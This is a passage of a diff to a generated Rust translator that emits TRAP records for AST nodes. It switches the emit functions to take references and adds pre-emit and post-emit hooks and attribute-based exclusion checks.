TrapId::Star, name, }); - self.emit_location(label, &node); - emit_detached!(Rename, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(Rename, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_rest_pat(&mut self, node: ast::RestPat) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); + pub(crate) fn emit_rest_pat( + &mut self, + node: &ast::RestPat, + ) -> Option> { + pre_emit!(RestPat, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let label = self.trap.emit(generated::RestPat { id: TrapId::Star, attrs, }); - self.emit_location(label, &node); - emit_detached!(RestPat, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(RestPat, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_ret_type(&mut self, node: ast::RetType) -> Option> { - let type_repr = node.ty().and_then(|x| self.emit_type(x)); + pub(crate) fn emit_ret_type( + &mut self, + node: &ast::RetType, + ) -> Option> { + pre_emit!(RetTypeRepr, self, node); + if self.should_be_excluded(node) { + return None; + } + let type_repr = node.ty().and_then(|x| self.emit_type(&x)); let label = self.trap.emit(generated::RetTypeRepr { id: TrapId::Star, type_repr, }); - self.emit_location(label, &node); - emit_detached!(RetTypeRepr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(RetTypeRepr, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_return_expr(&mut self, node: ast::ReturnExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let expr = node.expr().and_then(|x| self.emit_expr(x)); + pub(crate) fn emit_return_expr( + &mut self, + node: &ast::ReturnExpr, + ) -> Option> { + pre_emit!(ReturnExpr, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let expr = node.expr().and_then(|x| self.emit_expr(&x)); let label = self.trap.emit(generated::ReturnExpr { id: TrapId::Star, attrs, expr, }); - self.emit_location(label, &node); - emit_detached!(ReturnExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); - Some(label) - } - - pub(crate) fn emit_return_type_syntax(&mut self, node: ast::ReturnTypeSyntax) -> Option> { - let label = self.trap.emit(generated::ReturnTypeSyntax { - id: TrapId::Star, - }); - self.emit_location(label, &node); - emit_detached!(ReturnTypeSyntax, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(ReturnExpr, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_self_param(&mut self, node: ast::SelfParam) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); + pub(crate) fn emit_return_type_syntax( + &mut self, + node: &ast::ReturnTypeSyntax, + ) -> Option> { + pre_emit!(ReturnTypeSyntax, self, node); + if self.should_be_excluded(node) { + return None; + } + let label = self + .trap + .emit(generated::ReturnTypeSyntax { id: TrapId::Star }); + self.emit_location(label, node); + post_emit!(ReturnTypeSyntax, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); + Some(label) + } + pub(crate) fn emit_self_param( + &mut self, + node: &ast::SelfParam, + ) -> Option> { + pre_emit!(SelfParam, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let is_ref = node.amp_token().is_some(); let is_mut = node.mut_token().is_some(); - let lifetime = node.lifetime().and_then(|x| self.emit_lifetime(x)); - let name = node.name().and_then(|x| self.emit_name(x)); - let type_repr = node.ty().and_then(|x| self.emit_type(x)); + let lifetime = node.lifetime().and_then(|x| self.emit_lifetime(&x)); + let name = node.name().and_then(|x| self.emit_name(&x)); + let type_repr = node.ty().and_then(|x| self.emit_type(&x)); let label = self.trap.emit(generated::SelfParam { id: TrapId::Star, attrs, @@ -2056,61 +2959,86 @@ impl Translator<'_> { name, type_repr, }); - self.emit_location(label, &node); - emit_detached!(SelfParam, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(SelfParam, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_slice_pat(&mut self, node: ast::SlicePat) -> Option> { - let pats = node.pats().filter_map(|x| self.emit_pat(x)).collect(); + pub(crate) fn emit_slice_pat( + &mut self, + node: &ast::SlicePat, + ) -> Option> { + pre_emit!(SlicePat, self, node); + if self.should_be_excluded(node) { + return None; + } + let pats = node.pats().filter_map(|x| self.emit_pat(&x)).collect(); let label = self.trap.emit(generated::SlicePat { id: TrapId::Star, pats, }); - self.emit_location(label, &node); - emit_detached!(SlicePat, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(SlicePat, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_slice_type(&mut self, node: ast::SliceType) -> Option> { - let type_repr = node.ty().and_then(|x| self.emit_type(x)); + pub(crate) fn emit_slice_type( + &mut self, + node: &ast::SliceType, + ) -> Option> { + pre_emit!(SliceTypeRepr, self, node); + if self.should_be_excluded(node) { + return None; + } + let type_repr = node.ty().and_then(|x| self.emit_type(&x)); let label = self.trap.emit(generated::SliceTypeRepr { id: TrapId::Star, type_repr, }); - self.emit_location(label, &node); - emit_detached!(SliceTypeRepr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(SliceTypeRepr, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_source_file(&mut self, node: ast::SourceFile) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let items = node.items().filter_map(|x| self.emit_item(x)).collect(); + pub(crate) fn emit_source_file( + &mut self, + node: &ast::SourceFile, + ) -> Option> { + pre_emit!(SourceFile, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let items = node.items().filter_map(|x| self.emit_item(&x)).collect(); let label = self.trap.emit(generated::SourceFile { id: TrapId::Star, attrs, items, }); - self.emit_location(label, &node); - emit_detached!(SourceFile, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(SourceFile, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_static(&mut self, node: ast::Static) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let body = node.body().and_then(|x| self.emit_expr(x)); + pub(crate) fn emit_static(&mut self, node: &ast::Static) -> Option> { + pre_emit!(Static, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let body = node.body().and_then(|x| self.emit_expr(&x)); let is_mut = node.mut_token().is_some(); let is_static = node.static_token().is_some(); let is_unsafe = node.unsafe_token().is_some(); - let name = node.name().and_then(|x| self.emit_name(x)); - let type_repr = node.ty().and_then(|x| self.emit_type(x)); - let visibility = node.visibility().and_then(|x| self.emit_visibility(x)); + let name = node.name().and_then(|x| self.emit_name(&x)); + let type_repr = node.ty().and_then(|x| self.emit_type(&x)); + let visibility = node.visibility().and_then(|x| self.emit_visibility(&x)); let label = self.trap.emit(generated::Static { id: TrapId::Star, attrs, @@ -2122,37 +3050,55 @@ impl Translator<'_> { type_repr, visibility, }); - self.emit_location(label, &node); - emit_detached!(Static, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(Static, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_stmt_list(&mut self, node: ast::StmtList) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let statements = node.statements().filter_map(|x| self.emit_stmt(x)).collect(); - let tail_expr = node.tail_expr().and_then(|x| self.emit_expr(x)); + pub(crate) fn emit_stmt_list( + &mut self, + node: &ast::StmtList, + ) -> Option> { + pre_emit!(StmtList, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let statements = node + .statements() + .filter_map(|x| self.emit_stmt(&x)) + .collect(); + let tail_expr = node.tail_expr().and_then(|x| self.emit_expr(&x)); let label = self.trap.emit(generated::StmtList { id: TrapId::Star, attrs, statements, tail_expr, }); - self.emit_location(label, &node); - emit_detached!(StmtList, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(StmtList, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_struct(&mut self, node: ast::Struct) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let field_list = node.field_list().and_then(|x| self.emit_field_list(x)); - let generic_param_list = node.generic_param_list().and_then(|x| self.emit_generic_param_list(x)); - let name = node.name().and_then(|x| self.emit_name(x)); - let visibility = node.visibility().and_then(|x| self.emit_visibility(x)); - let where_clause = node.where_clause().and_then(|x| self.emit_where_clause(x)); + pub(crate) fn emit_struct(&mut self, node: &ast::Struct) -> Option> { + pre_emit!(Struct, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let field_list = node.field_list().and_then(|x| self.emit_field_list(&x)); + let generic_param_list = node + .generic_param_list() + .and_then(|x| self.emit_generic_param_list(&x)); + let name = node.name().and_then(|x| self.emit_name(&x)); + let visibility = node.visibility().and_then(|x| self.emit_visibility(&x)); + let where_clause = node.where_clause().and_then(|x| self.emit_where_clause(&x)); let label = self.trap.emit(generated::Struct { id: TrapId::Star, attrs, @@ -2162,33 +3108,48 @@ impl Translator<'_> { visibility, where_clause, }); - self.emit_location(label, &node); - emit_detached!(Struct, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(Struct, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_token_tree(&mut self, node: ast::TokenTree) -> Option> { - let label = self.trap.emit(generated::TokenTree { - id: TrapId::Star, - }); - self.emit_location(label, &node); - emit_detached!(TokenTree, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + pub(crate) fn emit_token_tree( + &mut self, + node: &ast::TokenTree, + ) -> Option> { + pre_emit!(TokenTree, self, node); + if self.should_be_excluded(node) { + return None; + } + let label = self.trap.emit(generated::TokenTree { id: TrapId::Star }); + self.emit_location(label, node); + post_emit!(TokenTree, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_trait(&mut self, node: ast::Trait) -> Option> { - if self.should_be_excluded(&node) { return None; } - let assoc_item_list = node.assoc_item_list().and_then(|x| self.emit_assoc_item_list(x)); - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let generic_param_list = node.generic_param_list().and_then(|x| self.emit_generic_param_list(x)); + pub(crate) fn emit_trait(&mut self, node: &ast::Trait) -> Option> { + pre_emit!(Trait, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let assoc_item_list = node + .assoc_item_list() + .and_then(|x| self.emit_assoc_item_list(&x)); + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let generic_param_list = node + .generic_param_list() + .and_then(|x| self.emit_generic_param_list(&x)); let is_auto = node.auto_token().is_some(); let is_unsafe = node.unsafe_token().is_some(); - let name = node.name().and_then(|x| self.emit_name(x)); - let type_bound_list = node.type_bound_list().and_then(|x| self.emit_type_bound_list(x)); - let visibility = node.visibility().and_then(|x| self.emit_visibility(x)); - let where_clause = node.where_clause().and_then(|x| self.emit_where_clause(x)); + let name = node.name().and_then(|x| self.emit_name(&x)); + let type_bound_list = node + .type_bound_list() + .and_then(|x| self.emit_type_bound_list(&x)); + let visibility = node.visibility().and_then(|x| self.emit_visibility(&x)); + let where_clause = node.where_clause().and_then(|x| self.emit_where_clause(&x)); let label = self.trap.emit(generated::Trait { id: TrapId::Star, assoc_item_list, @@ -2201,20 +3162,32 @@ impl Translator<'_> { visibility, where_clause, }); - self.emit_location(label, &node); - emit_detached!(Trait, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(Trait, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_trait_alias(&mut self, node: ast::TraitAlias) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let generic_param_list = node.generic_param_list().and_then(|x| self.emit_generic_param_list(x)); - let name = node.name().and_then(|x| self.emit_name(x)); - let type_bound_list = node.type_bound_list().and_then(|x| self.emit_type_bound_list(x)); - let visibility = node.visibility().and_then(|x| self.emit_visibility(x)); - let where_clause = node.where_clause().and_then(|x| self.emit_where_clause(x)); + pub(crate) fn emit_trait_alias( + &mut self, + node: &ast::TraitAlias, + ) -> Option> { + pre_emit!(TraitAlias, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let generic_param_list = node + .generic_param_list() + .and_then(|x| self.emit_generic_param_list(&x)); + let name = node.name().and_then(|x| self.emit_name(&x)); + let type_bound_list = node + .type_bound_list() + .and_then(|x| self.emit_type_bound_list(&x)); + let visibility = node.visibility().and_then(|x| self.emit_visibility(&x)); + let where_clause = node.where_clause().and_then(|x| self.emit_where_clause(&x)); let label = self.trap.emit(generated::TraitAlias { id: TrapId::Star, attrs, @@ -2224,119 +3197,182 @@ impl Translator<'_> { visibility, where_clause, }); - self.emit_location(label, &node); - emit_detached!(TraitAlias, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(TraitAlias, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_try_expr(&mut self, node: ast::TryExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let expr = node.expr().and_then(|x| self.emit_expr(x)); + pub(crate) fn emit_try_expr( + &mut self, + node: &ast::TryExpr, + ) -> Option> { + pre_emit!(TryExpr, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let expr = node.expr().and_then(|x| self.emit_expr(&x)); let label = self.trap.emit(generated::TryExpr { id: TrapId::Star, attrs, expr, }); - self.emit_location(label, &node); - emit_detached!(TryExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(TryExpr, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_tuple_expr(&mut self, node: ast::TupleExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let fields = node.fields().filter_map(|x| self.emit_expr(x)).collect(); + pub(crate) fn emit_tuple_expr( + &mut self, + node: &ast::TupleExpr, + ) -> Option> { + pre_emit!(TupleExpr, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let fields = node.fields().filter_map(|x| self.emit_expr(&x)).collect(); let label = self.trap.emit(generated::TupleExpr { id: TrapId::Star, attrs, fields, }); - self.emit_location(label, &node); - emit_detached!(TupleExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(TupleExpr, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_tuple_field(&mut self, node: ast::TupleField) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let type_repr = node.ty().and_then(|x| self.emit_type(x)); - let visibility = node.visibility().and_then(|x| self.emit_visibility(x)); + pub(crate) fn emit_tuple_field( + &mut self, + node: &ast::TupleField, + ) -> Option> { + pre_emit!(TupleField, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let type_repr = node.ty().and_then(|x| self.emit_type(&x)); + let visibility = node.visibility().and_then(|x| self.emit_visibility(&x)); let label = self.trap.emit(generated::TupleField { id: TrapId::Star, attrs, type_repr, visibility, }); - self.emit_location(label, &node); - emit_detached!(TupleField, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(TupleField, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_tuple_field_list(&mut self, node: ast::TupleFieldList) -> Option> { - let fields = node.fields().filter_map(|x| self.emit_tuple_field(x)).collect(); + pub(crate) fn emit_tuple_field_list( + &mut self, + node: &ast::TupleFieldList, + ) -> Option> { + pre_emit!(TupleFieldList, self, node); + if self.should_be_excluded(node) { + return None; + } + let fields = node + .fields() + .filter_map(|x| self.emit_tuple_field(&x)) + .collect(); let label = self.trap.emit(generated::TupleFieldList { id: TrapId::Star, fields, }); - self.emit_location(label, &node); - emit_detached!(TupleFieldList, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(TupleFieldList, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_tuple_pat(&mut self, node: ast::TuplePat) -> Option> { - let fields = node.fields().filter_map(|x| self.emit_pat(x)).collect(); + pub(crate) fn emit_tuple_pat( + &mut self, + node: &ast::TuplePat, + ) -> Option> { + pre_emit!(TuplePat, self, node); + if self.should_be_excluded(node) { + return None; + } + let fields = node.fields().filter_map(|x| self.emit_pat(&x)).collect(); let label = self.trap.emit(generated::TuplePat { id: TrapId::Star, fields, }); - self.emit_location(label, &node); - emit_detached!(TuplePat, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(TuplePat, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_tuple_struct_pat(&mut self, node: ast::TupleStructPat) -> Option> { - let fields = node.fields().filter_map(|x| self.emit_pat(x)).collect(); - let path = node.path().and_then(|x| self.emit_path(x)); + pub(crate) fn emit_tuple_struct_pat( + &mut self, + node: &ast::TupleStructPat, + ) -> Option> { + pre_emit!(TupleStructPat, self, node); + if self.should_be_excluded(node) { + return None; + } + let fields = node.fields().filter_map(|x| self.emit_pat(&x)).collect(); + let path = node.path().and_then(|x| self.emit_path(&x)); let label = self.trap.emit(generated::TupleStructPat { id: TrapId::Star, fields, path, }); - self.emit_location(label, &node); - emit_detached!(TupleStructPat, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(TupleStructPat, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_tuple_type(&mut self, node: ast::TupleType) -> Option> { - let fields = node.fields().filter_map(|x| self.emit_type(x)).collect(); + pub(crate) fn emit_tuple_type( + &mut self, + node: &ast::TupleType, + ) -> Option> { + pre_emit!(TupleTypeRepr, self, node); + if self.should_be_excluded(node) { + return None; + } + let fields = node.fields().filter_map(|x| self.emit_type(&x)).collect(); let label = self.trap.emit(generated::TupleTypeRepr { id: TrapId::Star, fields, }); - self.emit_location(label, &node); - emit_detached!(TupleTypeRepr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(TupleTypeRepr, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_type_alias(&mut self, node: ast::TypeAlias) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let generic_param_list = node.generic_param_list().and_then(|x| self.emit_generic_param_list(x)); + pub(crate) fn emit_type_alias( + &mut self, + node: &ast::TypeAlias, + ) -> Option> { + pre_emit!(TypeAlias, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let generic_param_list = node + .generic_param_list() + .and_then(|x| self.emit_generic_param_list(&x)); let is_default = node.default_token().is_some(); - let name = node.name().and_then(|x| self.emit_name(x)); - let type_repr = node.ty().and_then(|x| self.emit_type(x)); - let type_bound_list = node.type_bound_list().and_then(|x| self.emit_type_bound_list(x)); - let visibility = node.visibility().and_then(|x| self.emit_visibility(x)); - let where_clause = node.where_clause().and_then(|x| self.emit_where_clause(x)); + let name = node.name().and_then(|x| self.emit_name(&x)); + let type_repr = node.ty().and_then(|x| self.emit_type(&x)); + let type_bound_list = node + .type_bound_list() + .and_then(|x| self.emit_type_bound_list(&x)); + let visibility = node.visibility().and_then(|x| self.emit_visibility(&x)); + let where_clause = node.where_clause().and_then(|x| self.emit_where_clause(&x)); let label = self.trap.emit(generated::TypeAlias { id: TrapId::Star, attrs, @@ -2348,30 +3384,44 @@ impl Translator<'_> { visibility, where_clause, }); - self.emit_location(label, &node); - emit_detached!(TypeAlias, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(TypeAlias, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_type_arg(&mut self, node: ast::TypeArg) -> Option> { - let type_repr = node.ty().and_then(|x| self.emit_type(x)); + pub(crate) fn emit_type_arg( + &mut self, + node: &ast::TypeArg, + ) -> Option> { + pre_emit!(TypeArg, self, node); + if self.should_be_excluded(node) { + return None; + } + let type_repr = node.ty().and_then(|x| self.emit_type(&x)); let label = self.trap.emit(generated::TypeArg { id: TrapId::Star, type_repr, }); - self.emit_location(label, &node); - emit_detached!(TypeArg, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(TypeArg, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_type_bound(&mut self, node: ast::TypeBound) -> Option> { + pub(crate) fn emit_type_bound( + &mut self, + node: &ast::TypeBound, + ) -> Option> { + pre_emit!(TypeBound, self, node); + if self.should_be_excluded(node) { + return None; + } let is_async = node.async_token().is_some(); let is_const = node.const_token().is_some(); - let lifetime = node.lifetime().and_then(|x| self.emit_lifetime(x)); - let type_repr = node.ty().and_then(|x| self.emit_type(x)); - let use_bound_generic_args = node.use_bound_generic_args().and_then(|x| self.emit_use_bound_generic_args(x)); + let lifetime = node.lifetime().and_then(|x| self.emit_lifetime(&x)); + let type_repr = node.ty().and_then(|x| self.emit_type(&x)); + let use_bound_generic_args = node + .use_bound_generic_args() + .and_then(|x| self.emit_use_bound_generic_args(&x)); let label = self.trap.emit(generated::TypeBound { id: TrapId::Star, is_async, @@ -2380,30 +3430,49 @@ impl Translator<'_> { type_repr, use_bound_generic_args, }); - self.emit_location(label, &node); - emit_detached!(TypeBound, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(TypeBound, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_type_bound_list(&mut self, node: ast::TypeBoundList) -> Option> { - let bounds = node.bounds().filter_map(|x| self.emit_type_bound(x)).collect(); + pub(crate) fn emit_type_bound_list( + &mut self, + node: &ast::TypeBoundList, + ) -> Option> { + pre_emit!(TypeBoundList, self, node); + if self.should_be_excluded(node) { + return None; + } + let bounds = node + .bounds() + .filter_map(|x| self.emit_type_bound(&x)) + .collect(); let label = self.trap.emit(generated::TypeBoundList { id: TrapId::Star, bounds, }); - self.emit_location(label, &node); - emit_detached!(TypeBoundList, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(TypeBoundList, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_type_param(&mut self, node: ast::TypeParam) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let default_type = node.default_type().and_then(|x| self.emit_type(x)); - let name = node.name().and_then(|x| self.emit_name(x)); - let type_bound_list = node.type_bound_list().and_then(|x| self.emit_type_bound_list(x)); + pub(crate) fn emit_type_param( + &mut self, + node: &ast::TypeParam, + ) -> Option> { + pre_emit!(TypeParam, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let default_type = node.default_type().and_then(|x| self.emit_type(&x)); + let name = node.name().and_then(|x| self.emit_name(&x)); + let type_bound_list = node + .type_bound_list() + .and_then(|x| self.emit_type_bound_list(&x)); let label = self.trap.emit(generated::TypeParam { id: TrapId::Star, attrs, @@ -2411,33 +3480,50 @@ impl Translator<'_> { name, type_bound_list, }); - self.emit_location(label, &node); - emit_detached!(TypeParam, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(TypeParam, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_underscore_expr(&mut self, node: ast::UnderscoreExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); + pub(crate) fn emit_underscore_expr( + &mut self, + node: &ast::UnderscoreExpr, + ) -> Option> { + pre_emit!(UnderscoreExpr, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let label = self.trap.emit(generated::UnderscoreExpr { id: TrapId::Star, attrs, }); - self.emit_location(label, &node); - emit_detached!(UnderscoreExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(UnderscoreExpr, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_union(&mut self, node: ast::Union) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let generic_param_list = node.generic_param_list().and_then(|x| self.emit_generic_param_list(x)); - let name = node.name().and_then(|x| self.emit_name(x)); - let struct_field_list = node.record_field_list().and_then(|x| self.emit_record_field_list(x)); - let visibility = node.visibility().and_then(|x| self.emit_visibility(x)); - let where_clause = node.where_clause().and_then(|x| self.emit_where_clause(x)); + pub(crate) fn emit_union(&mut self, node: &ast::Union) -> Option> { + pre_emit!(Union, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let generic_param_list = node + .generic_param_list() + .and_then(|x| self.emit_generic_param_list(&x)); + let name = node.name().and_then(|x| self.emit_name(&x)); + let struct_field_list = node + .record_field_list() + .and_then(|x| self.emit_record_field_list(&x)); + let visibility = node.visibility().and_then(|x| self.emit_visibility(&x)); + let where_clause = node.where_clause().and_then(|x| self.emit_where_clause(&x)); let label = self.trap.emit(generated::Union { id: TrapId::Star, attrs, @@ -2447,46 +3533,68 @@ impl Translator<'_> { visibility, where_clause, }); - self.emit_location(label, &node); - emit_detached!(Union, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(Union, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_use(&mut self, node: ast::Use) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let use_tree = node.use_tree().and_then(|x| self.emit_use_tree(x)); - let visibility = node.visibility().and_then(|x| self.emit_visibility(x)); + 